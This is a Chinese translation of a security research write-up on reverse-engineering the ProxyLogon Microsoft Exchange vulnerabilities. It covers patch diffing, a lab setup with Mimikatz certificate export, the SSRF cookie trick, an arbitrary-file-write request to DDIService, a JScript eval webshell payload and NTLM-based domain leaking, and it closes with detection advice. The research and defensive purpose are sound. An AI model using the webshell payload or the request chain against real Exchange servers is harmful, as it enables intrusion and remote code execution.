| 关联规则 | 关联知识 | 关联工具 | 关联文档 | 关联抓包 |
| 参考1(官网) | |
| 参考2 | |
| 参考3 |
0x00 简介[出自:jiwo.org]
在最近的几周中，Microsoft检测到有攻击者在全球范围内利用多个0-Day漏洞针对Microsoft Exchange Server的本地版本发动攻击。其中的CVE-2021-26855漏洞又被称为ProxyLogon，这是Microsoft Exchange Server上存在的一个漏洞，可以导致攻击者绕过身份验证模拟用户操作。在我们观察到的攻击中，威胁行为者利用这个漏洞访问了本地Exchange服务器，从而获得了电子邮件帐户的访问权限，后续还安装了其他恶意软件以确保对受害者环境的长期访问。
Praetorian Labs团队根据最初的安全公告和补丁分析展开了逆向工程，并成功开发出完整功能的端到端漏洞利用。这篇文章概述了我们的漏洞利用复现过程，其中隐去了关键的概念验证组件，以防止有攻击者根据这篇文章来进行漏洞武器化利用。尽管我们没有发布完整的漏洞利用代码，但是可以预测的是，安全社区很快就会有人发布完整的漏洞利用程序。在这部分内容被公开之后，我们也会随即讨论更为详细的端到端解决方案。我们相信在未完整公开的这段时间，可以让企业有更多时间来修复这一严重漏洞。
Microsoft已经迅速开发并发布了脚本、威胁指标和紧急修复补丁，以帮助缓解这些漏洞。Microsoft安全响应中心此前已经发布过一篇文章，其中详细说明了这些缓解措施。值得注意的是，URL重写模块可以成功地阻止漏洞利用，而无需再进行额外的紧急修复，可以认为是针对ProxyLogon最迅速有效的对策。但是，攻击者对Proxylogon漏洞的利用已经非常广泛，因此暴露在公网的Exchange服务器的运营人员必须立即开展应急响应和修复。
0x01 方法论
在进行逆向工程的过程中，我们按照以下步骤进行，以便可以对Exchange及其安全修补程序进行静态和动态修复。
1、差异：查看存在漏洞版本与修复版本之间的差异。
2、测试：部署存在漏洞版本的完整测试环境。
3、观察：部署工具，观察常规情况下的网络通信情况。
4、分析：逐一分析每个CVE漏洞，将补丁差异与网络流量相关联，构造概念验证PoC漏洞。
0x02 补丁差异
通过检查更新补丁前后的二进制文件之间的差异，我们可以准确定位到进行了哪些更改。随后，对这些更改部分进行逆向工程，从而复现原始漏洞。
Microsoft的Update Catalog对于我们获取补丁并进行差异比较的工作来说很有帮助。只需搜索相关软件版本，网站就会返回一个安全补丁的汇总列表，我们可以根据这个列表上的安全补丁进行对比分析。例如，搜索“Exchange Server 2013 CU23的安全更新”，就可以找到特定版本的Exchange修复程序。之所以我们选择Exchange 2013，是因为该版本受到CVE-2021-26855漏洞影响，且补丁包最小，因此我们通过这个补丁包来进行差异分析。
Microsoft Update Catalog支持按照日期排序，我们所需的是前两个补丁文件。
首先，我们下载了最新的（2021年3月2日）安全更新汇总和以前（2021年2月12日）的安全更新汇总。从.cab文件中提取出.msp文件，并使用7Zip解压缩.msp文件，就得到了两个需要比较的二进制文件夹。
.msp更新中包含数百个二进制文件，其中大多数是.NET应用程序：
由于大多数二进制文件都是.NET应用程序，因此我们使用dnSpy将每个二进制文件反编译为一系列源文件。为了加快分析速度，我们使用自动化反编译，并利用源代码管理的比较功能，将每个版本作为单独的提交上传到GitHub Repo进行比较。
借助GitHub可以清晰区分出关键差异：
我们发现另一个可以用于对比差异的工具是Telerik的JustAssembly。如果要观察实际的文件差异，该工具的运行速度稍慢，但有助于确定哪里添加或删除了代码。
JustAssembly简洁地显示出整个DLL的更改：
在准备工作完成后，我们需要启动目标Exchange服务器，以开始测试。
0x03 测试
首先，我们使用Microsoft的ADDSDeployment模块来设置标准域控。随后，下载相关的Exchange安装程序（例如Exchange 2013 CU23）并执行了标准安装过程。
针对基于Azure的Exchange环境，我们按照这里概述的步骤进行操作，将其中第8步“Install Exchange”下载的安装程序替换为正确的Exchange安装程序链接。此外，我们修改了服务器配置脚本中的PowerShell代码片段，以启动2012-R2 Datacenter服务器，而非2019 Server版本。
$vm=Set-AZVMSourceImage -VM $vm -PublisherName
MicrosoftWindowsServer -Offer `
WindowsServer -Skus 2012-R2-Datacenter -Version "latest"
这将允许我们快速部署独立的域控制器和Exchange服务器，并建立适当的网络安全组，以防止不必要的互联网漏洞利用尝试。
0x04 观察
Microsoft Exchange由几个后端组件组成，这些后端组件在服务器正常运行期间相互通信。从用户的角度来看，对前端Exchange服务器的请求将通过IIS流到Exchange HTTP代理，Exchange HTTP代理负责评估邮箱路由逻辑，并将请求转发到相应的后端服务器。这一过程如下图所示。
Microsoft Exchange 2016客户端访问协议体系结构图：
我们重点观察从HTTP代理发送到Exchange后端的所有流量，因为其中应该包括来自真实服务的许多示例请求，这样一来我们就可以更好地理解源代码和漏洞利用程序中的请求。
Exchange已经部署在IIS上，因此我们对Exchange后端绑定进行了简单的更改，将端口由444变更为4444。接下来，我们在444端口上部署了代理，以将数据包转发到新的绑定地址。
Exchange HTTP代理会验证Exchange后端的TLS证书，为了使我们的代理有效，我们想从测试计算机的本地证书存储中将“Microsoft Exchange”证书转储出来。由于这个证书的私钥在Exchange安装过程中被标记为不可导出，因此我们使用Mimikatz提取了密钥和证书。
mimikatz# privilege::debug
mimikatz# crypto::certificates /export /systemstore:LOCAL_MACHINE
使用Mimikatz从测试机中提取Exchange证书和密钥：
有了证书和密钥后，我们凭借socat（一个多功能网络中继工具）这样的工具，使用Exchange证书侦听444端口，并将连接转发到4444端口（实际的Exchange后端）。socat命令可能如下所示：
# export the certificate and private key (password mimikatz)
openssl pkcs12 -in 'CERT_SYSTEM_STORE_LOCAL_MACHINE_My_1_Microsoft Exchange.pfx' -nokeys -out exchange.pem
openssl pkcs12 -in 'CERT_SYSTEM_STORE_LOCAL_MACHINE_My_1_Microsoft Exchange.pfx' -nocerts -out exchange.pem
# launch socat, listening on port 444, forwarding to port 4444
socat -x -v openssl-listen:4444,cert=exchange.pem,key=exchange-key.pem,verify=0,reuseaddr,fork openssl-connect:127.0.0.1:444,verify=0
在配置了代理后，我们就可以正常使用Exchange生成HTTP请求，从而分析内部连接的详细信息。此外，几个后端服务器进程会将请求发送到444端口，从而让我们能够观察到定期运行状况检查、Powershell远程处理请求等。
0x05 分析
尽管每个CVE漏洞都不相同，但我们对其中每一个CVE漏洞进行分析的方法通常包含五个阶段：
1、检查指标；
2、检查补丁差异；
3、将指标与差异进行对应；
4、将这些代码路径连接到代理流量；
5、构造请求以触发这些代码路径；
6、重复上述步骤。
5.1 从CVE-2021-26857开始热身
根据Microsoft关于HAFNIUM漏洞的公告，“CVE-2021-26857是统一消息服务（Unified Messaging Service）中不安全的反序列化漏洞。其中，不安全的反序列化是指不可信的用户控制数据被程序反序列化的位置。利用这一HAFNIUM漏洞，可以在Exchange服务器上以SYSTEM身份执行代码。”
尽管最终不一定要利用这一漏洞在Exchange服务器上实现远程代码执行，但它提供了一个简单的示例，说明如何根据补丁差异对比来揭示漏洞的细节。根据上面的公告，我们可以明确地将统一消息服务确定为潜在目标，这极大地帮助了我们缩小初始搜索空间。
Exchange二进制软件包的命名非常清晰，代理功能位于Microsoft.Exchange.HttpProxy.*中，日志上传位于Microsoft.Exchange.LogUploader中，而统一消息代码位于Microsoft.Exchange.UM.*中。在比较文件时，并不能一直依靠文件名给出的提示线索，但如果文件名中包含了一些提示信息，我们也不要忽略它。
这些DLL的JustAssembly差异非常清晰地展现了漏洞的根本原因：
根据存在差异的类，表明已经删除了Base64Deserialize函数，并且添加了contactInfoDeserializationAllowList属性。.NET从历史上就一直在解决反序列化问题，因此，看到这样的变更很可能表明它删除了存在漏洞的代码，并且增加针对.NET反序列化漏洞利用的防护。在我们检查Base64Deserialize之后可以证实这一点。
删除的函数将Base64字符串的输出值传递给BinaryFormatter的反序列化：
在修复之前，我们通过对比差异发现，从Microsoft.Exchange.UM.UMCore.PipelineContext.FromHeaderFile调用了这个不安全的方法。
序列化的PipelineContext的ContactInfo属性可用于触发漏洞：
这个函数的修复后版本中包含更多代码，可以在反序列化之前正确验证其类型。
本质上，这个修复程序删除了存在.NET反序列化漏洞的函数，该漏洞可以使用ysoserial.net之类的工具轻松利用。尽管这里的攻击路径非常简单，但服务器并不是始终启用统一消息功能你的，因此，我们的概念验证漏洞利用要依赖于下面所分析的CVE-2021-27065漏洞。
5.2 服务器端请求伪造（CVE-2021-26855）
由于所有远程代码执行漏洞都需要绕过身份验证，因此我们将注意力转向了服务器端请求伪造漏洞（SSRF）。Microsoft发布了以下PowerShell命令，以搜索与这一漏洞相关的指标：
Import-Csv -Path (Get-ChildItem -Recurse -Path "$env:PROGRAMFILES\Microsoft\Exchange Server\V15\Logging\HttpProxy" -Filter '*.log').FullName `
| Where-Object { $_.AuthenticatedUser -eq '' -and $_.AnchorMailbox -like 'ServerInfo~*/*' } | select DateTime, AnchorMailbox
此外，Volexity还发布了以下与SSRF漏洞利用相关的URL：
/owa/auth/Current/themes/resources/logon.css
/owa/auth/Current/themes/resources/...
/ecp/default.flt
/ecp/main.css
/ecp/.js
利用这些指示符，我们在补丁差异中寻找了相关的关键词（包括主机、主机名、fqdn等字符串），最终在Microsoft.Exchange.FrontEndHttpProxy.HttpProxy中发现了值得关注的变更。与此同时，我们还发现了BEResourceRequestHandler使用的BackEndServer类中的差异。
与ServerInfo / authentication / host / fqdn相关的补丁差异：
BEResourceRequestHandler使用的BackEndServer类的补丁差异：
接下来，我们追踪对BEResourceRequestHandler的调用，从ProxyModule中的SelectHandlerForUnauthenticatedRequest方法中找到了相关的路径。
下图的简化代码展示了命中BEResourceRequestHandler的路径：
最后，我们评估了BEResourceRequestHandler的CanHandle方法，发现其中需要一个带有ECP“协议”的URL（例如：/ecp/）、一个X-BEResource Cookie和一个以静态文件类型扩展名结尾的URL（例如js、css、flt等）。由于这段代码是在HttpProxy中实现的，因此这个URL不一定需要有效，这也说明了一个事实，即我们可以使用/ecp/y.js（一个不存在的文件）作为指示符。
X-BEResource Cookie在BackEndServer.FromString中进行解析，其根据“~”来拆分字符串，将第一个元素分配给后端的“fqdn”，将第二个元素解析为整数的版本号。
随后，我们追踪了这个BackEndServer对象的用法，发现它在ProxyRequestHandler中用于确定要将代理请求发送到的Host。URI是通过UriBuilder在GetTargetBackEndServerUrl中构造的，而UriBuilder是本地.NET类。
下图的简化代码展示了ProxyRequestHandler中的相关方法：
在这里，从理论上来说，我们可以通过设置特定的标头，并将请求发送到/ecp中的“静态”文件来控制这些用于后端连接的Host。但是，仅控制这些主机并不足以让我们在Exchange后端上调用任意终端。为此，我们查看了.NET源代码本身，以了解UriBuilder是如何实现的。
UriBuilder源代码中的ToString方法：
如上面的代码片段所示，UriBuilder的ToString方法（用于构造URI）仅将我们输入的内容进行简单的字符串连接。因此，如果将Host设置为“example.org/api/endpoint/#”，就可以有效获得对目标URL的完全控制。
有了这些信息，我们就可以通过下述HTTP请求尝试进行SSRF利用。
由于Kerberos主机不匹配，因此SSRF尝试访问example.org失败：
由于与example.org通信的NegotiateSecurityContext错误，我们此次SSRF尝试遇到了失败。事实证明，这次失败帮助我们理解了SSRF，因为它表明HTTP代理是图通过Kerberos向后端服务器进行身份验证的事实。随后，将主机名设置为Exchange服务器的计算机名，就会发现Kerberos身份验证成功。并且我们现在可以以NT AUTHORITY\SYSTEM身份访问终端。至此，我们构造了以下HTTP请求来进行SSRF漏洞利用。
由于后端身份验证检查，这次SSRF尝试同样失败：
又一次，后端服务器由于某种原因拒绝了我们的请求。通过跟踪这一错误，我们最终发现了EcpProxyRequestHandler.AddDownLevelProxyHeaders方法，该方法仅在ProxyToDownLevel设置为true时才会调用。这一方法会检查用户是否已经通过身份验证，如果没有通过验证，则会返回HTTP 401错误。
幸运的是，我们可以通过修改Cookie中的服务器版本来阻止GetTargetBackEndServerUrl设置这个值。如果版本大于Server.E15MinVersion，那么ProxyToDownLevel将保持为false。在进行这个更改之后，我们成功通过了后端服务（autodiscover）的身份验证。
成功实现autodiscover终端的SSRF利用：
在查看上述代码路径时，我们在OWA代理处理程序中发现了另一处SSRF。这些请求是在没有经过Kerberos身份验证的情况下发送的，因此可以将其定向到任意服务器，如下所示。
通过X-AnonResource Cookie成功实现到example.org的SSRF尝试：
至此，我们就有能力来伪造对某些后端服务的请求。目前我们暂时不会发布有关如何通过敏感服务认证（例如/ecp）的细节，因为这些信息尚未被公开披露。
5.3 任意文件写入（CVE-2021-27065）
在获得了SSRF之后，我们将注意力转向了远程代码执行。在开始分析补丁差异之前，关于这个漏洞的第一个线索来自于Microsoft和Volexity发布的指标。他们表示，通过下述PowerShell命令可以在ECP日志中搜索是否遭遇漏洞利用攻击的指标：
Select-String -Path "$env:PROGRAMFILES\Microsoft\ExchangeServer\V15\Logging\ECP\Server\*.log" `
-Pattern 'Set-.+VirtualDirectory'
此外，Volexity的文章称对/ecp/DDI/DDIService.svc/SetObject 的请求与漏洞利用相关。在掌握了上面两个信息之后，我们就在补丁差异中搜索了ECP或DDI类中与文件I/O相关的任何内容。很快就发现了Microsoft.Exchange.Management.ControlPanel.DIService中的WriteFileActivity类。“控制面板”（control panel）是ECP面向用户的名称，而DDIService直接位于指标URL之中。如下图中所体现的差异，旧版本会将由用户控制名称的文件直接写入到磁盘。而新版本的代码会在文件名后附加“.txt”扩展名（如果不存在该扩展名）。我们知道，在通常的漏洞利用过程中，在将ASPX Webshell写入服务器时，通常都会优先选择WriteFileActivity来利用。
WriteFileActivity.cs在修复前后的差异：
我们在Exchange安装目录中搜索WriteFileActivity，可以在Exchange Server\V15\ClientAccess\ecp\DDI的多个XAML文件中看到它的存在。
ResetOABVirtualDirectory.xaml中的代码段：
在检查了XAML文件并查看了Exchange Web UI中的ECP功能后，我们确定上述SetObjectWorkflow描述了需要在服务器端执行的一系列步骤（包括Powershell cmdlet执行），从而可以执行特定操作。
ECP用户界面，展示了ResetVirtualDirectory的配置选项：
通过提交示例ResetVirtualDirectory请求，我们观察到Exchange服务器将VirtualDirectory的配置写入到指定路径，删除VirtualDirectory，然后重新创建。这个配置文件中包含目录的多个属性，并且可以使用任意扩展名写入系统上的任何目录。请求和结果文件如下图所示。
向DDIService发送HTTP请求，以重置OAB VirtualDirectory：
POST /ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary={csrf} HTTP/1.1
Host: localhost
Cookie: msExchEcpCanary={csrf};
Content-Type: application/json
{
"identity": {
"__type": "Identity:ECP",
"DisplayName": "OAB (Default Web Site)",
"RawIdentity": "cf64594f-d739-44a4-aa70-3fbd158625e2"
},
"properties": {
"Parameters": {
"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
"FilePathName": "C:\\VirtualDirectory.aspx"
}
}
}
DDIService导出的文件显示了VirtualDirectory的所有属性：
ECP Web UI显示了VirtualDirectory的可编辑参数：
在UI中，公开了以下参数，可以用于编辑VirtualDirectory。值得注意的是，UI中公开的同时包括内部URL和外部URL，在XAML中作为参数，并写入到我们的任意路径的文件之中。上述条件的组合，就可以使攻击者控制的输入内容到达任意路径，这也是我们利用Webshell所必需的原语。
经过一些实验后，我们能够确定内部和外部URL字段中的一部分会被服务器验证。也就是说，服务器将验证URI方案、主机名，以及不超过256个字节的长度。此外，服务器会对Payload中的任何%符号进行编码（也就是将“％”变为“％25”）。这就会导致类似于 < ％code％ > 这样的常规ASPX代码块被转换为 < ％25 code％25 > 的无效代码。但是，在这里并没有对其他元字符（例如“ < ”和“ > ”）进行编码，这就允许攻击者注入以下的URL：
http://o/# < script language="JScript" runat="server" > function Page_Load(){eval(Request["mlwqloai"],"unsafe");} < /script >
在重置VirtualDirectory后，这个URL会被嵌入到导出中，并保存到我们指定的路径，从而可以在Exchange服务器上执行远程代码。
利用Webshell在被攻击的Exchange服务器上执行命令：
5.4 泄漏后端和域
要形成完整的漏洞利用链，需要Exchange服务器的后端和域。在Crowdstrike的一篇文章中，他们提供了攻击过程的完整日志，其中记录了来自互联网的攻击细节。在日志中，首先是针对/rpc/终端的调用。
初始请求是针对Exchange公开的/rpc/：
这个初始请求必须是未经身份验证状态下的，可能利用了HTTP上的RPC，它本质上通过终端公开了NTLM身份验证。HTTP上的RPC是一个相当复杂的协议，我们可以根据Microsoft提供的规范说明了解其详细信息。
站在攻击者的视角，我们关注解析发送NTLM Negotiation消息后返回给我们的NTLM Challenge消息。在Challenge消息中包含许多AV_PAIR结构，其中包含我们关注的信息，特别是MsvAvDnsComputerName（后端服务器名称）和MsvAvDnsTreeName（域名）。
Impacket的http.py中已经包含执行协商（Negotiation）过程的代码，以生成Negotiation消息，然后将Challenge响应解析为AV_PAIR结构。请求和响应分别如下：
RPC_IN_DATA /rpc/rpcproxy.dll HTTP/1.1
Host: frontend.exchange.contoso.com
User-Agent: MSRPC
Accept: application/rpc
Accept-Encoding: gzip, deflate
Authorization: NTLM TlRMTVNTUAABAAAABQKIoAAAAAAAAAAAAAAAAAAAAAA=
Content-Length: 0
Connection: close
HTTP/1.1 401 Unauthorized
Server: Microsoft-IIS/8.5
request-id: 72dce261-682e-4204-a15a-8055c0fd93d9
Set-Cookie: ClientId=IRIFSCHPJ0YLFULO9MA; expires=Tue, 08-Mar-2022 22:48:47 GMT; path=/; HttpOnly
WWW-Authenticate: NTLM TlRMTVNTUAACAAAACAAIADgAAAAFAomiVN9+140SRjMAAAAAAAAAAJ4AngBAAAAABgOAJQAAAA9DAE8AUgBQAAIACABDAE8AUgBQAAEACABlAHgAVgBNAAQAIABjAG8AcgBwAC4AYwBvAG4AdABvAHMAbwAuAGMAbwBtAAMAKgBlAHgAVgBNAC4AYwBvAHIAcAAuAGMAbwBuAHQAbwBzAG8ALgBjAG8AbQAFACAAYwBvAHIAcAAuAGMAbwBuAHQAbwBzAG8ALgBjAG8AbQAHAAgA8EkBM20U1wEAAAAA
WWW-Authenticate: Negotiate
WWW-Authenticate: Basic realm="frontend.exchange.contoso.com"
X-Powered-By: ASP.NET
X-FEServer: frontend
Date: Mon, 08 Mar 2021 22:48:47 GMT
Connection: close
Content-Length: 0
可以使用Impacket解析Base64编码的哈希值，从而查看泄露的域信息。
在WWW-Authenticate NTLM Challenge中包含的域信息：
恢复后的AV_PAIR数据被编码为Windows Unicode，并将特定的AV_ID映射到一个值。AV_ID是用于代表特定内容的常量，举例来说，我们想要获取的是AV_ID为3（后端主机名）和5（域）的字符串。
AV_PAIR结构与数据的对应关系：
根据这里的信息，我们可以确定后端值为ex.corp.contoso.co，域为corp.contoso.com。这些也就是我们前面所讨论的SSRF漏洞利用所需的值。
5.5 后续工作
如上文所述，我们在这里省略了某些漏洞利用细节，以防止非法攻击者实现漏洞利用。攻击者可以利用这一漏洞以任意用户的身份向ECP终端进行身份验证，而这一过程我们交给读者去自行尝试。在经过足够长的时间之后，我们将在后续的文章中披露更多详细信息。
0x06 检测方法
Microsoft的威胁情报中心（MSTIC）已经提供了非常详尽的指标和检测脚本，我们建议任何使用了Exchange服务器的用户都需要进行自查。为了确认是否存在可疑攻击，我们建议安全运营中心（SOC）、安全托管服务提供商（MSSP）、可管理的威胁检测与响应服务（MDR）采取以下步骤：
1、确保所有终端防护产品已经更新并正常运行。尽管检测引擎并没有针对这个漏洞利用增加太多的威胁指标，但这些最新的工具可以轻松检测到漏洞利用后的活动。
2、在所有Exchange服务器上，运行Microsoft GitHub中的TestProxyLogon.ps1脚本。根据我们针对漏洞利用实现武器化的经验，这个脚本应该可以检测出漏洞利用的痕迹。
3、仔细检查服务器的配置、计划任务、自动运行等位置。这些都是攻击者在获取初始访问权限后可能会改动的位置。确保Exchange服务器启用了“Audit Process Creation”（审计进程创建）审核策略和PowerShell日志记录，并检查可疑的命令和脚本。如果发现可疑情况，应当尽快验证、报告和补救。
随着我们后续对漏洞利用的深入研究，我们还将发布其他信息，以帮助大家更好地检测环境中是否存在漏洞利用的迹象。
6.1 后漏洞利用
Sean Metcalf和Trimarc Security在先前的文章中详细介绍了Exchange安装时通常启用的高级权限。按照这种方式进行配置后，一旦攻击者控制了Exchange服务器，便可以利用这一访问权限对整个域范围内开展进一步攻击。针对已经遭受攻击的环境，应当检查域对象的ACL，并确认受到攻击的Exchange资源所属的组，从而判断可能受到进一步攻击的范围。我们将Trimarc文章的PowerShell进行了修改，从而可以更加详细地筛选Exchange Windows权限和Exchange受信任子系统组。如果您的环境中已经将Exchange资源添加到自定义组，或者自定义了其他组，则需要再对这个脚本进行相应调整。
import-module ActiveDirectory
$ADDomain = ''
$DomainTopLevelObjectDN = (Get-ADDomain $ADDomain).DistinguishedName
Get-ADObject -Identity $DomainTopLevelObjectDN -Properties * | select -ExpandProperty nTSecurityDescriptor | select -ExpandProperty Access | select IdentityReference,ActiveDirectoryRights,AccessControlType,IsInherited | Where-Object {($_.IdentityReference -like "*Exchange Windows Permissions*") -or ($_.IdentityReference -like "*Exchange Trusted Subsystem*")} | Where-Object {($_.ActiveDirectoryRights -like "*GenericAll*") -or ($_.ActiveDirectoryRights -like "*WriteDacl*")}
